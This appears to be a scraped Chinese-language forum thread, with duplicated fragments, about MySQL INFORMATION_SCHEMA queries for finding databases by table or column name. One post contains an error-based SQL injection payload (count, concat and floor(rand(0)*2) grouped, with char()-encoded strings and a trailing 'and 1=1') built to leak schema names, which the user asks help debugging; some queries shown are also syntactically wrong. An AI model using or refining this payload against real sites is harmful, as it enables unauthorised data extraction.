select TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where TABLE_NAME like 'book%'
谢谢,请问可否查找字段中含有“type”的库呢?是不是这样呢? select TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES.columns where column_NAME like 'type%'
select TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES.columns where column_NAME like '%type%'
请问这个有问题吗?为什么添加红色部分就不行呢? char(98,111,111,107,37) 就是book% (select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 0,1)) from `information_schema`.tables where TABLE_NAME like char(98,111,111,107,37) limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1
from INFORMATION_SCHEMA.TABLES
where TABLE_NAME like 'book%'
select TABLE_SCHEMA
from INFORMATION_SCHEMA.TABLES.columns
where column_NAME like 'type%'
from INFORMATION_SCHEMA.TABLES.columns
where column_NAME like '%type%'
请问这个有问题吗?为什么添加红色部分就不行呢? char(98,111,111,107,37) 就是book%
(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 0,1)) from `information_schema`.tables where TABLE_NAME like char(98,111,111,107,37) limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1
MySQL 中文显示乱码
谢谢!请问下:暂且不管是不是字符集设置的问题,上面那个查询库名的语句到底对不对呢?没有添加红色部分的时候是可以的,但是添加之后就不行了。
你的意思是说 book% 字符串写法不对吗?char不行是吗?